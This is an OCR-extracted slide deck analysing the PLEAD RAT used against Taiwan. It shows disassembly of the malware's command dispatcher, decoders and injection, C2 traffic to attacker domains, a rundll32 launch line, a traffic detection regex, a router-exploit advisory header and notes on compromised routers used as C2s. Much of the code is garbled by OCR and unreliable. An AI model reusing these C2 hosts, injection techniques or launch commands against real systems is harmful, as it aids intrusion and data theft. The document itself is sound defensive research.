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Introduction

 PLEAD is a RAT used by an APT group targeting
Taiwan specifically.
— developed purely in
— adopting skillful techniques to obfuscate itself

* The actors use at the same time
* They have excellent tools for their
job.

were leveraged to hide their
footprints
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PLEAD began

* The 15 public report about PLEAD was released
by trendmicro in 2014, it was named PLEAD in

Desktop\BEi®E 2013-6-25

: Date Modifieq
M) T e RS R0 80KB Application 7/2j2013 10:

tricks were used by them to target TW Gov
in that report.

* The only public report about PLEAD so far.




PLEAD began

 The oldest sample we’ve seen could be dated
back to 2011:

svshostc.exe-

svshostc.idb

£

Amp- otﬂp

-4.tmp-6.tmp=svshostc.exe-
§ =-4.tmp-1014.doc

4 lOOlOlJ %,.;?E?i
L

RI1LO was also used then ©

revisercs. doc



8846a37C4
88403 7C5
A6846a37C?
8684637C9?
88403 7CC
884603 7CE
A684637D0H
884603 7D4
#8403 7D6
#8463 7DA
868463 7DC
88403 7DF
#8403 7E1
#8403 7E2
B846037E3
A084037E6
#8403 7ES8
#8403 7EB
88403 7ED
#8463 7F0
#8463 7F2
88403 7F5
88403 7F7
#8463 7FA
8684603 7FC
808403 7FF
AB463801
88463803

PLEAD began

PUSH EBP

MOU EBP.ESP

PUSH @

MOU EDX.DUWORD PTR SS:[EBP+81
TEST EDX.EDX

JE SHORT dumped.B®B4B383F

CMP BYTE PTR SS:[EBP+C1.0
JLE SHORT dumped.BB483833
MOU BYTE PTR SS:[EBP—-41.3
MOU CL.BYTE PTR DS:[EDX]

CMP CL.43

JE SHORT <dumped.cmd_proxy>
INC EDX

PUSH EDX

CMP CL.41

JE SHORT <dumped.cmd_sleep>
CMP CL.4C

JE SHORT <dumped.cmd_listdirx>
CMP CL .45

JE SHORT <dumped.cmd_upload>
CMP CL.50

JE SHORT <dumped.cmd_delete?>
CMP CL .47

JE SHORT <dumped.cmd_exec>
CMP CL.44

JE SHORT dumped.BB48382E

JMP SHORT dumped.BB4683833
CALL DWORD PTR DS:[ESI+181]

e We named it “PLEAD” from its instructions:

)c}

‘s
L
VB
Jps
‘o
-
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PLEAD

PLEAD MALWARE FAMILIES



a0
55

51

51

8B45 0C
53

8B5D 14
56

8B35 B812807C
57

8B7D 08
8945 F8
8D45 14

.

PLEAD Analysis

Process Injection (iexplorer.exe)

NOP

MOV EDI,EDI
PUSH EEP
MOV EBP,ESP
PUSH ECX
PUSH ECX

0012F910

D012F628
D012FAZs

MOV EAX,DWORD PTR 55:[EBP+C]
PUSH EBX

MOV EBX,DWORD PTR §5:[EBP+14]

PUSH ESI

MOV ESI,DWORD PTR D5:[<sntdll.NtProtectVirtualMemors
PUSH EDI

MOV EDI,DWORD PTR S8:[EBP+8]

MOV DWORD PTR 58:[EBP-8],EAX

LEA EAX,DWORD PTR S8:[EBP+14]

EDI=00008000

Address |Hex dump

WriteProcessMemory




PLEAD Analysis

view Debug Plugins Options Window Help Tools BreakPoint-> Unpackers
[Z] IDAView-A | X 8] Hex View-8 | X K Structures | X En Enums Xlﬁ%’ Imports | X 72 - @ 'Q ’9 =R e ARk = = Bl s# & & =
B PUSH ESI

X0OR ECX ECX
MOV EAX ECX

Decode_Configure proc near MOV ESI
push esi cpbQ

p{ilg ecx, ecx IDIV ESI
MOV AL BYTE PTR DS: [ECX+406010]

XOR AL DL

MOV BYTE PTR DS:[ECX+406010] AL
B N Ll; INC ECX
CHMP ECX
-JL SHORT svshostc.004037F3
LEA EAX DWORD PTR DS:[403830]
PUSH EAX
LEA EaX DWORD PTR DS:[406010]
CALL E&X
POP EST
RETHN

loc_4837F3:

mov eax, ecx

mov esi, 1Fh

cdq

idiv esi

mov al, byte_40860108[ecx]
Xxor al, dl

mov byte_468608108[ecx], al
inc ecx

cmp ecx, 316h

j1 short loc_4637F3
I—

|ascIz

ACHH322: T8 BE
EAN L . mEE: wE s

lea eax, sub_403830 [ 2H 2 ZHE

push eax microsoftoffice.
lea eax, byte_u40660610 3utilities.com: 38
call ea§ 0,443 tdupdates.
Pop esli freeddns.com: 80,

retn 443:61.220.2258.1
Decode_Configure endp 38:80,443... X

)0.00% (-238,20) (558,207) |00OD0D2BF0  |D04037F0: Decode_Configure

svshostc.exe...

Config Block Decoder




PLEAD Analysis

e PLEAD Traffic Pattern:

(GET|POST)\s\/\d{4}\/\w\d+\.(js|asp|jpg|css)\sHTTP /\d\.\d
Content Data - Comment CMD: A,C,P,G,E,L,D

GET  XOR BLOCK (0..0x0D)
POST XOR BLOCK (0...0x0B)

— The 15t character of content data would be the
command (xor with 0x00)

— following immediately with encoded parameter of
the command (xor with 1 byte key)



PLEAD Analysis

e PLEAD Traffic Pattern:

Il Follow TCP Stream

Stream Content

GET /0021/b3484515.jpg HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; win32)

Host: tdupdates.freeddns.com
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4
Connection: close

L: cmnd_listdir

EB3_ :
= LC:\ Listing command of C:\ and return the result |




PLEAD Downloader > PLEAD/RACKEY

PLEAD MALWARE FAMILIES



PLEAD Downloader Analysis

e Shellcode (encoded) again!!

") File Edit Search Navigaton View Tools Specalist Options Window Help
-l =4 n 2 o) 101: Ar AX
Nk a8 ® %om\‘ Mﬁ‘s‘x» HEX

wuauclts.exe- |

345 6 7 8 9
0o 00 00 00 1]
0o 00 00 00 1]
00 00 00 i File size: J35KB
00 00 00 00 00 00 0o I I 34,304 bytes
00 00 00 00 00 00 00 0 0 DOS name: WUAUCL™1.EXE
00 00 00 00 00 00 00 0 0
00 00 00 00 00 1]
41 4D 4F 46 50 !
42 44 4E 42 44 49 ¢ 46 4D 4C 4D JIOBDNBDIAANFMLM ~  wOetel »
9 4D 42 9 4 ) 42 7 | NEIMLBBIGMBOHLEG ' I
6 46 45 46 4B 48 13 50 4E 171 B Crealiontie: 2/07/21
4 41 4D 41 45 43 ! 9 42 4C 44 4 : INA 14:21:09
43 45 43 43 49 ¢ 47 42 4 )L INC . A AN
- i Dttt Last write time: 2015/03/06
9 49 ¢ 4 4D 43 44 45 10:54:26
7 4F 47 RENE - ¢ 4? ' Attibutes: A
‘ C 48 41 47 | LI DD Icons: 1
D0D010AD ) . OJLDOBDOGLL
000010BO ) 5 47 4 o N 7 49 43 | MPBEGOEPHLLDGLIC 10de: hexacinl

wuaucls. exe-

o o o
o o o

[ I
o o

Default Edit Mode
State: original

SN SUEIN SO S O
N SO T e I S




PLEAD Downloader Analysis

00401539

100461539 84
100461538 8A
10040153 42
:0040153F 42
100401540

100401542 Fé
100461544

100401547 24
100401549 FE
100401548 32
:0040154D 88
10040154F 46
00401550 47
100401551 81
100401557 7C

42 0B 00 60

loc_4681539:

al, [edx]
cl, [edx+1]
edx

edx

al

al

cl, 4

al, OFh

cl

al, cl
[esi], al
esi

edi

edi, OB42h

short loc_461539

Two bytes (ASCII) to 1
byte (binray) encoding

3( 1A 68 74 74 70 3Q 2F 2F 64 63 6E 73 2E 63 68 69 0http'//dcns.chl
3|63 6B 65 6E 6B 69 6C 6C 65 72 2E 63 6F 60 2F 64| ckenkiller.con/d
379 66 77 6D 69 6E 65 2E 6A 7@ 67 B8 77 75 61 75| yfwmine.jpd.wuau
3(63 6C 74 73 2E 65 78 65 80 40 53 55 5@ 44 33 32| clts.exe.MSUPD32
3|88 43 3A SC 44 6F 63 75 60 65 6E 74 73 20 61 6E[.Ci\Documents an
370164 20 53 65 74 74 69 6E 67 73 5C 41 64 6D 69 6E|d Settings\Adnin
B(69 73 74 72 61 74 6F 72 5C AE E@ AD Bl SC 77 75| istrator\Mcdm\wy




PLEAD Downloader Analysis

Network traffic

/" Follow TCP Stream (tcp.stream eq 0)

Stream Content

GET /dyfwmine. ]p? HTTP/1.1

User- Agent Mozilla/4.0 (compatible; MSIE 8.0)
Host: dcns. chickenkiller.com

ache-Control: no-cache

HTTP/1.1 200 OK

ontent-Length: 12288

ontent-Type: image/jpeg

Last-Modified: Thu, 18 Sep 2014 07:22:19 GMT
Accept-Ranges: bytes

ETag: "80c7d34711d3cf1:288"

Server: Microsoft-II5/6.0

Date: Thu, 05 Mar 2015 03:40:34 GMT

oolfoc

nI o1k ot 0 00F0oco00oc P00 oolboollooo Dok e
fc./4,..... GRS T e ooosn ook




PLEAD Downloader Analysis

98140322 | B9 20000000 MOU ECX, 26
00148327 52 PUSH EDX
90140328 [ 290024 SUB CESPI,ECK
98140328 ( S0 PUSH ERX
8814032C ADD CESPI,ECK
B014032F | 51 PUSH ECX
90140330 ( 5@ PUSH ERX
98140331 | E8 CFFCFFFF :

RC4 Crupt

#3146336 (S EE46 18 MOU ERK, [EST+18]
#A148339 | 8B4E 6C MOU ECX, [ESI+6C]
#A14833C | 8BFS MOV EDI, EAX
PA14033E | 8BSA 3C MOV EDX, [EAX+3C]
#A148341 | @3C2 ADD EAK, EDX
#A148343 | 2BCA SUB ECX,EDX
#A140345 | ES EAA1606Q

PA14034A | 3847 20 CMP EAX, [EDI+26]
#3148340 | 74 @9

BA14834F | 8BC7 MOV ERX,EDI

#0140351 | EE ADB16A6E
#0140356 | EB 10
=l

GQERLAGIES BUSH EOT

==

53 dump ASCIT
‘I_E %464 F2 69 98 32 D8 55 A6 OB OA E6 0O 03 00 46 FO| TAK IR7: svar
. | LA26E3 8|80 SU (U BY HY WU BE BY Ub Z2¢ EY ZU ES BB UB LY| * JIAR.NIFF" ‘FEm

\|
i|9926E388 83 94 24 1C 95 9B F@ 7B oD AG B6 59 6A A7 9E 78| 5 7RHm  Yj7%

ey

PO25E398| EC C8 27 3E B7 AB ES 25 15 32 12 46 80 63 09 EBR| w8’ EMI324F7,
952 3F378| FE A3 34 SC 1A A8 29 C2 BB 6@ 69 68 BE 66 72 17| 4\»7MK. (D#fre
4%23368| 74 33 A2 56 F7 2E 60 9A C3 2A 43 63 @1 EE 8E 71| vamg?n #Cch?a
PO26E3CE|BA 73 62 E9 9A FS 33 38 F1 AF 28 F1 CC O SF 67| dk8?72Bt(8E4 .
PO26E3DS|AS 95 28 09 D2 6B 1A 38 76 E7 83 7B FC 48 99 FB| (. 4Es8u2
PE2GESES| 69 0O 8F 7B 6B 39 BY 2B 2B 17 FB 3F 7F 89 85 49| i, k974870,
PO26E3FS|53 E9 C6 C3 BD B6 OS F4 BO 1B 90 74 86 59 OC AD|SM6 @6« .
PO26E4D8| A9 54 85 FA FB BB 50 CA E4 5B 1C 15 41 20 CF 62| B0 MEPARL3A-#1
PO26E418/ 88 37 EA DA 9C BC 6A E9 A7 1A 98 EE 42 41 C3 4C| 7> BALN
PE26E428| 6C FF E1 D1 80 6B F9 05 E9 GE 18 83 F8 20 EA 21| | ERIEE?t -7
PR26E433|E3 67 ER 41 52 53 C5 39 BF ES 91 55 6F B4 77 93| MERSIE oL
PO26E448| 09 3C B3 E6 EE OA 4B 64 83 87 B4 98 00 6D 5B 71| "MKdPe?nlq
PO26E4SE| 84 99 90 BA D8 27 0D F6 37 A2 7F 29 98 AF Bl 84|? 74K7?) 7
PE26E468| A4 16 43 47 34 50 63 70 1E A7 68 6B 92 €A DI AD|C64lcpamak 12
PR26E473| 6A D8 21 4E D6 66 D4 ES F2 AC 78 C7 B3 58 68 6C|JPNUEMEEx hl
PO26E483| 62 23 26 ES 75 F2 43 C2 E2 59 63 @B 25 3C 6B CB|butAEHEsmYcauck
PO26E498| 67 01 OF 30 BB 25 70 20 2A 25 88 57 90 9E 13 EB|g?%p 4 71
PE26E4RS| CE F9 AP 69 F7 2 B2 AB 97 19 92 61 FC 90 OF EA|RE 7ME? 7%
PR26E4BE| 64 74 B4 BB FS 89 01 AL EA 8A C6 B4 71 FO 9E 8F|dv?70ng 17
PO26E4CS 67 63 A7 60 ED E2 97 7C 83 B2 €0 B2 22 F9 10 2C|. oM n??,
PO26E4D8|F4 EG 6B AG 53 BS BA 60 BS FD 79 AB 7F 41 IF 45|3Rk MANIEY?AYE
PE26E4ES| 73 BD 9E 6A RS 60 22 99 BI C9 F4 F9 53 3A 02 BB|s7,0T” WRE:0
PR2EE4FS| D7 G6 E2 82 10 BS 1E 20 AB 23 49 B7 IC 4F 4E 9A| P2h2-?170N
PO26ESHS| A7 4B FA DA @1 00 AF 7F 20 73 A9 8A 79 CD 95 24| TAED.? v7y?s
PO26ES18|AC 7A 37 6E OS 65 13 A2 B2 B BE DB EE OF D7 BE| Mk7n?! 3 MARSHE
PE26ES28| 1A E6 CE 7B SF 83 A6 8A 92 EB C8 FB 47 30 AD 26| +4{_ EMI=?
PO26ES38| 60 56 80 B6 51 61 94 FC 62 3 14 B3 5B 29 7B 52|'V 0a bLMEI(R
PO26ES4S| 8F 46 3A 17 23 D6 44 AE F4 E1 46 E2 96 SB CA Al| :$neMRME?(o%
PO26ESSS| 83 85 6C 22 @8 7E DI 6B 68 99 E1 15 19 99 4F 8C[?1"D"%h S¢
190265560 35=T4 4D "SR r D6~ ~E0 2 T~EA=CE-DO SA=0r~01—50 I tar tewam 7T




PLEAD Downloader Analysis

7 A2 B C D E
84 69 F3 0o 0o 00 00

00 00 00 00 00 0o 0o 00

00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 0o 00 00

00 00 00 00 00 00 ] 00 00

00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 0o 00 00

ooo 00 00 00 0O 0O 00 00 00 0o 00 00 00
00 00 0O OO 0O 00 00 0O 0o 00 00 00

| Shift 20h byte +
: B il MZ Header

S5A

0oool 0o

0000t \
0000003 00
0o
0o
0o
0o 0o
i i
i 00 00
i 0o 0o
i 0o 0o
noooooc i i i
000000D i i 50
14 ] i
06 26 0o 0o
0o 10 0o 0o
0o 02 04 0o

0o 0o 0o 0o

oo
o o o oM

[
[}
o Qo o,
Lo O | o
o

o
o

[ R
[}
o o
o o
o o
o
o o
[ R
o

o

o
o o o
[
[
[

o

o
[
[

0o
00
00
00
0o
0o
4C
ED

0o
00

o o o
o

o
o
o o o

o
o
o

o
o
o
o
o
o

o
o
]
o

o o o o o o O
o o o0 o0 o oo

o
o



PLEAD Loader = PLEAD/RACKEY

PLEAD MALWARE FAMILIES



PLEAD Loader Analysis

.text:004038F9
.text:004038FA
.text:004038FB
.text:004038FC
.text: 00463903
.text: 00403906
.text: 00463908
.text: 00403960
.text: 00403912
.text: 00403914
.text:0040391A
.text:0040391C
.text:0040391E
.text: 00403928
.text: 00403925
.text: 00403926
.text: 00403928
.text: 00403930
.text:00463931
.text: 00403933
.text:00403938
.text:0040393D
.text: 00403940
.text: 00403942
.text: 00403947
.text: 00403949
.text: 00403940 BO 40 00
.text: 00403958

.text: 00463950

.text: 00403958

.text:00403950 8B

.text:00403953 SF

.text:00403954 SE

.text:00403955 64 89 00 60 06 00
.text:0040395C 5B

.text:0040395D 8B ES

0000395D0040395D: StartAddress+7D

06 66 60 66

loc_483950:

ebx

esi

edi

[ebp+var_4], ©
[ebp+var_10], esp

46h ; flProtect
1006h ; flAllocationType
8D9Ah ; duSize

] ; 1pAddress
ds:VirtualAlloc

esi, eax

esi, esi

short loc_403950

8D9Ch

esi

sub_461060

6D9AN

esi

26h

offset unk_40C040

RC4_Crypt

esp, 180 unk_uoceuo

esi

8006h

]

esi

ds:Virtual

ecx, [ebp+
edi

esi

large fs:0, ecx
ebx

esp, ebp




PLEAD Loader Analysis

: 00401000
: 00401000
: 00401000
: 00461000
: 00401000
: 00401000
: 00401000
1004010064
: 00401008
: 00401009
: 00401008
: 80401006C
: 8040106E
100401016
100401013
100401015
100401017
100401014
:0040101C
: 00401022
: 00401029
100401036
: 00401037
:0040103E
: 00401045
:0040104C
100401053
:0040105A
: 00401061
100401068
: 0040106F
100401076
:0040107D
100401084

8B
8B
56
8B
57
33
8B
c1
F3
8B
83
F3
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7
c7

4C 24 08
54 24 04

F1

ce
FA
E9
AB
CE
E1
AR
82
42
42
42
42
42
42
42
42
42
42
42
42
42
42
42

A2

73

66 BB
14 47

5A
3E
8E
45
FB
2C
75
82
]

E7
79
7F
4
3F
61
A7
60
42

E4 14
C4 89

6F

c1

7E
47
36
c1
1B
A6
FB
ED
83
12
97
A9
D8
03

AC 5B EB

sub_401600

arg_0
arg_4

roc near ; CODE XREF: WinMain{x,x,%,x)+2F3
P P
; StartAddress+46p

dword ptr 4
dword ptr 8

mov ecx, [esp+arg_4]
mov edx, [esp+arg_0]
push  esi

mov esi, ecx

push  edi

xor eax, eax

mov edi, edx

shr ecx, 2

rep stosd

mov ecx, esi

and ecx, 3

rep stosb

mov dword ptr [edx], 73A2FC52h

mov dword ptr [edx+4], 7EBB6OF2h
mov dword ptr [edx+8], 47471435h
mov dword ptr [edx+8Ch], 36E75AABh
mov dword ptr [edx+16h], 6C1793EA4N
mov dword ptr [edx+14h], 1B7FOE6Bh
mov dword ptr [edx+18h], BAG4ALSFCh
mov dword ptr [edx+1Ch], GFB3FFBD1h
mov dword ptr [edx+26h], BED612C5Bh
mov dword ptr [edx+24h], 83A775F4h
mov dword ptr [edx+28h], 126082B3h
mov dword ptr [edx+2Ch], 9742C623h
mov dword ptr [edx+36h], BA914E419h
mov dword ptr [edx+34h], 6D889C473h
mov dword ptr [edx+38h], 3C16FACh
mov dword ptr BEB5BACHFh




5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
5eq000:

5eq000:
5eq000:
5eq000:
5eq000:
5eq000:
seq000:

(
(
(
(

06000060 E9

00000005
00000005
00000005
00000005
00000005
00000005
0000000A
00000006E

68 2C
FF 74
60 20

00000016 E8 67

00000015
00000016
00000018
00000018
00000018
0000061C
0000061C
0000061C
0000061C
0000061C
00006021
0o
0o
0o
0o
00000045
00000649
00000649
00000649

(
(
(
(

50
E8 B8
3

PLEAD Loader Analysis

’

loc_1C:

AE AD 50+
38 23 3A+
16 1F AB+
1A 89 BF

jnp loc_19

SUBROUTTIN

proc near ; CODE XREF: seq088:loc_169]p
push

push  duord ptr [esp+]]

push ;

call  loc_1C

push  eax

call  RC4_Crypt

retn

endp

; CODE XREF: sub_5+Bip
call  sub_D1

db 54h, BAEh, 7Ah, 9Ch, BE7h, BAEh, BADh, 56h, 38h, 7Dh
db GE3h, 16h, BECh, 38h, 23h, 3Ah, 15h, BA4h, 9Bh, 36h

db 1Eh, 16h, 1Fh, BAGh, 71h, ODh, 69h, 26h, 11h, 1Ah, 89h
db BBFh

dd 10B3A836h

dd BA1094E6BN

fisttp quord ptr [esi+51CCh]




PLEAD Loader Analysis

=10/ x|
Offset 2 34567 89 ABCD -
3B 98 C2 8A BB 0 35 39 2E 31 35 32 2E 31 ;1Al»  59.152.1
33 38 2C 63 3 2 BA | 94.138,c  ;IA
07 03 45 53|~ X YES
2 45 43 41 64 6D 69 6E 69 73 74 -F9IBECY.Administ

Fie rator

(0[]
0 1 2 3 45 67 8 9 ABTCTUDTETF

7B 1E BB OC 49 F5 DF C3 80 CF D2 4C 5D 18 { 1 IBBAIIOL[]]

B4 D2 ED 3E 50 66 EO 32 €D CC 7E 3D ) 43 24 | H0i>Pfa:ii~=ikCs

D6 26 04 6A 55 FF 82 65 02 c 12 45| 0& jUiile 9 i~ E

924 72 2D AD 12 25 29 98 : 22 E8 lr-- Z)1t £ & "e

BF BB 58 38 86 »X8ly

& _0051C000.mem

Of fset 0 2 3456 7 8 9 A B CDEF |
bF 1E AZ DD C ' 76 E3 6E 5C | o ¢YIC" yivd fn\
22 DA 8D 0B 44 BE 37 2E AC ED 85 35| "U D»qah7.-1ZIF
C4 FD 51 00 04 3B ) 15 00 46 00 ByQ ; U®
7D F3 10 ED : 00 00 FF 16 ib* R
E8 FD 51 00 3 A4 00 00 AD 00 &yQ s ; M

2 s




=y |

)
Entry Point | Ord
10001470h 1 EnCOMSecurity
) 10001410k 2 EnableCOMS
EnCOMSecurity/EnableCOMS 10003148h 3

PLEAD MALWARE FAMILIES



EnCOMSecurity/EnableCOMS
Analysis

110001341 55 ebp

110001342 8B febp, esp

110001344 56 esi

110001345 57 edi

110001346 FF [ebp+Src] ; hilodule
110061349 8D eax, [ebp+Src]

:1006134C 50 eax ; int
:1000134D E8 getRSRC_DATA

110001352 8B esi, eax

110001354 59 ecx

1100681355 85 esi, esi

110001357 59 ecx

110001358 74 short loc_160613B9
:1006135A 6A 4 ; flProtec
:1000135C 8D eax, [esi+4]

:1000135F 68 3006h ; flAllogationType
110001364 50 eax i

:10001365 6A 0

110001367 FF 20 00 18 ds:VirtualAlloc
:10008136D 8B edi, eax
:1000136F 85 edi, edi
:10001371 74 short loc_160613B
110001373 56 esi ;
110001374 FF [ebp+Src]
:10001377 57 edi

110001378 E8 memcpy

:1000137D 56 esi

:1800137E 57 edi

:1000137F E8 DATA_Decoder
:10001384 56 esi

:10001385 57 edi

:10061386 C7 45 68 04 00 00 00 [ebp+Src], 4

rundll32.exe "% APPDATA%\Microsoft\pdfupd.dll",EnCOMSecurity
{7288fcda-571e-4eb3-8c2e-97c2fd10ce2e}



EnCOMSecurity/EnableCOMS
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* Decoding the shellcode

110001314
110001314
110001314
110001316
110001318
:1000131C
:1000131D
:1000131E
110001326
110001322
110001324
110001326
110001328
110001328
:1000132E
110001336
110001336
110001336
110001336
110001333
110001336
110001336
110001336
110001338
110001334
110001338
:1006133C
:1000133E
:1000133F

oA
88
Ly
4E
75
S5F
S5E

loc_10001314:

’

loc_10061330:

loc_10061336:

; CODE XREF: DATA_Decoder+38]j
eax, ecx
2
eax, [esp+0Ch+arg_0]
edi

edi

al, [ecx]

edx, edx

dl, al

short loc_106001330
dl, 3

al, 5

short loc_10001336

; CODE XREF: DATA_Decoder+221j

; CODE XREF: DATA_Decoder+2A1j
dl, al
[ecx], dl
ecx
esi
short loc_16061314
edi
esi
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Injecting to iexplore.exe

100611CE

100011CE E8 A3 FF FF FF exec_InternetExplorer
160011D3 W] eax, eax

10061105 75 61 short loc_160611D8
100681107

10061108

10601108
10601108 loc_10061108: ; CODE XREF: sub_100611CE+71]

160011D8 eax ; duProcessld
10061109 FF 74 24 6C [esp+4+arg 4] ; int
100611DD FF 74 24 6C [esp+8+arg_0] ; int
100011E1 BO FE FF FF InjectionShellcode2IE
100011E6 C4 0c esp, 6Ch

100011E9 D8 eax

100611EB co eax, eax

100011ED D8 eax

100011EF
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Unk
2000 ¥XP 200

e Random URI from Dict.

http://mail.yahoo.com/

Console

Tables

GET http://%s%s?%x=%d|%d

POST http://%s%s?%x=%d!%d

GET http://%s:%d%s?%x=%d!%d

POST http://%s:%d%s?%x=%d ' %d

GET %s?%x=%d!%d

POST %s?%x=%d!%d

Content-Length: %d

Content-type: application/x-www-form-urlencod
Cookie: %xic=%s

Cookie: %xic=%s
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e Network traffic

: http://127.0.0.1/
User-Agent: Microsoft BITS/6.7
Accept-Encoding: identity
Host: 127.0.0.1
Connection: Keep-Alive
Cookie: 1bid=V7oury8CMc2ylluM/Ao2tPzgMYcdSR5RS0sz/5C]tzprRaFwH1hY+0FTqsBMthIWFdiQg2w]jtk9+oBz+AEFb60Gahh/Yzg
+anFsS2pYFougCa5q35n03TNg4yTkCalEFIP1ZCOQKGIYpty9pN5111n/gAv10k /MGIORLhAGGYydM6ksPa7mPYQBDhO560bhCSdIk0

GET /a/tw/software?4a76=-2132781718111359062 HTTP/1.1

Accept: */*

Referer: http://127.0.0.1/

Accept-Language: zh-tw

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)

Accept-Encoding: gzip, deflate

Host: 127.0.0.1:443

Connection: Keep-Alive

Cookie: 571d=V7oury8CMc2yl1UM/Ao2tPzgMYcdSR5RS0sz/5C]tzprRaFwH1hY+0FTqsBMthIWFdiQg2w]jtk9+oBz+AEFb60Gahh/Yzg
+anFsS2pYFougCa5q35n03TNg4zHkCalEa9P1ZC0QKGIYpty9pN5111nGgAV8067MGIORLhAGGYdX6k1PXKwFboFPdzKuaw956hs00

Change order(Base64(Encode(RC4 Variable(data))))



Diskless PLEAD

PLEAD MALWARE FAMILIES



Diskless PLEAD malware

* Hacking Team Tool — CVE-2015-5119

- _v:Vector. <uint’;
- _vAddr:uint;
- _mc:MyClas

- _mcOffs:uint;

_x32:Vector. <ui

function ShellWin32 ()

static function Hex (paraml:uint) : String
1f (paraml
return paraml. toString();

return + paraml. toString(

static function Init (paraml:Vecto int?, param2:uint, param3:My
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Lateral Movement

e After compromise

* Leveraging Anti-Virus products to deploy
trojan:
— MD5=59fd59c0a63ccef421490c9facO* * ***
2011-09-02 xx:xx:xx UTC
— MD5=ad4ec04eabdb22d7a4b8b705alc™* ****
2012-07-13 xx:xx:xx UTC
— MD5=5b759a7€9195247fa2033c8f33e** ***

2014-09-05 xx:xx:xx UTC




Lateral Movement

* Leveraging Asset Management System to
deploy trojan:
— MD5=61020085db3ff7ccf6243aal1133* ****
2010-09-20 xx:xx:xx UTC

— MD5=85b219a4ablbcdbf5a3ac27f8bf*****
2012-06-20 xx:xx:xx UTC

— MD5=da9e74cfacccf867c68d5a9cceb®****
2014-10-15 xx:xx:xx UTC
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GDrive Rat

e GDrive Rat — a data exfiltration tool discovered in

late 2014
— implanted in victim hosts to automatically upload
docs

— leveraging google drive APls, stolen data were stored
on google drive storage registered by actors

— all traffic is encrypted, only connections to google can
be seen
— almost impossible to detect for IDS/IPS

— GD.. Rat was discovered by our colleague ©



GDrive Rat

 Links of GD Rat to PLEAD:

DXXXXXXX GD Rat
2014-10-22 15:24:01 C:\PROGRAM FILES (X86)\JAVA\JRE7\BIN\JAVAS. EXE
2014-10-22 14:25:58 C:\PROGRAM FILES (X86)\XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE

IXXXX PLEAD

12014-10-23 16:51:58 C:\PROGRAM FILES (X86)\GOOGLE\COMMON\GOOGLE UPDATER\CHROME.EXE
2014-10-23 14:34:04 C:\PROGRAM FILES (X86)\XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE |

RXXXXX
2014-10-24 15:42:09 C:\PROGRAM FILES (X86)\COMMON FILES\JAVA\JAVA UPDATE\JAVAS.EXE
| 2014-10-24 15:13:52 C:\PROGRAM FILES (X86 )\ XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE |

Logs collected in an IR case in TW
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Phantom in routers

e Compromised have been used as C2s
in attacks for decades.

* Since 2014, we’ve seen some attacks in
Taiwan, whose C2 Ips were




Phantom in routers

* One attack targeting TW in March 2015 from
PLEAD group, using the following C2:

xxxX.chickenkiller.com

* One interesting allas WER observed

80.068636 52:00:17:42:06:e6 Broadcast 42 who has 172.16.6.1257 Tell 172.16.1.1
85 172.16.144.92 172.16.1.1 12 Standard query A
2 172.16.1.1 172.16.144.9 S 45 standard query re | m.com

195 172.16.144.62 220.136.52.17 CP 62 dab-sti-c > http [SYN] Seq=0 Winz§5535 Len=0 MSS
67 220.136.52.176 172.16.144 .92 C 58 http > dab-sti-c [SYN, ACK] Sef=0 Ack=l win=8192
8 172.16.144.52 220.136.52.17 CP 54 dab-sti-c > http [ACK] se Ack=1 win=65535 Len

172.16.144.92 220.136.52.176 - 187 GET /dyfwmine.jpg HTTRA":

CNAME nxxxx1l.asuscomm.com



Phantom in routers

* Port scanning result showing it to be an ASUS
device:

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 6.0

| http-methods: OPTIONS TRACE GET HEAD POST

| Potentially risky methods: TRACE

| See http://nmap.org/nsedoc/scripts/http-methods.html
| _http-title: \xAB\xD8\xBAc\xA4\xA4

443 /tcp closed https

1723/tcp open pptp linux (Firmware: 1)

8443/tcp open ssl/http Linksys wireless-G WAP http config (Name RT-N66U)
| http-auth:

| HTTP/1.0 401 Unauthorized

| _ Basic realm=RT-N66U




Phantom in routers

(CVE-2013-4659) for the
device could be found on internet:

=
| #Title ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
# Discovered and Reported*June 2013
# Discovered/Exploited By*Jacob Holcomb/Gimppy and Jacob Thompson
= *Security Analsyts @ Independent Security Evaluators
# Software Vendor*™***http://asus.com
# Exploit/Advisory******** , hitp://infosec42.blogspot.com/
# Software acsd wireless service (Listens on TCP/5916)
# Firmware Version™*****3.0.0.4.266 (Other versions were not tested and may be vulnerable)

# CVE 'ASUS RT-AC686U Multiple Buffer Overflows: CVE-2013-4659

#

# Overview:

# The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple

# Buffer Overflow attacks.

#

# Multiple overflows exist in the following software:

#

# - Broadcom acsd - Wireless Channel Service (autochannel&param, autochannel&data, csscan&ifname

commands)
7



Phantom in routers

* With the help of our friends, we got some
insight to the compromised device:

ASUS provides DDNS
" service for its routers

MA
Vpn account

added by actors




Phantom in routers

* Asus is not the only one being abused

npingcrab.com
.mylftv.com,s
.ezua.com

ps.net

nth.biz
wilightparadox.com
tw.com

D.com

egol.com
gotgeeks.com
wabe.com.tw
effers.com

u.my03.com

|IPAddress

35.108
1.78
33.110
18.228
235.117
16.61
39.54
146.241
1.189
105.88
39.49

117
168.223
3.187
21.97

1
2
2
2
2
&
1
2
&
2
2
1
1
5
b

ASUS RT-N12
ASUS RT-N12
ASUS RT-N12

L, L

Aodo Kl i

ASUS RT-N12
ASUS RT-N16
ASUS RT-NSEL

DVR ?7?

() i
Pern

27

»
Wl U

ShareTech 277
ShareTech 277
ShareTech 777

TP-Link TL-WRS41ND




Phantom in routers

 We conducted a simple statistics of 8 Class B
Net-Blocks in Taiwan:
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Conclusion

 PLEAD has targeted TW for at least 5 years.

* Phantom:
— Several RATs, developed in
used with Hacking Team tool
— Excellent Oday exploits for
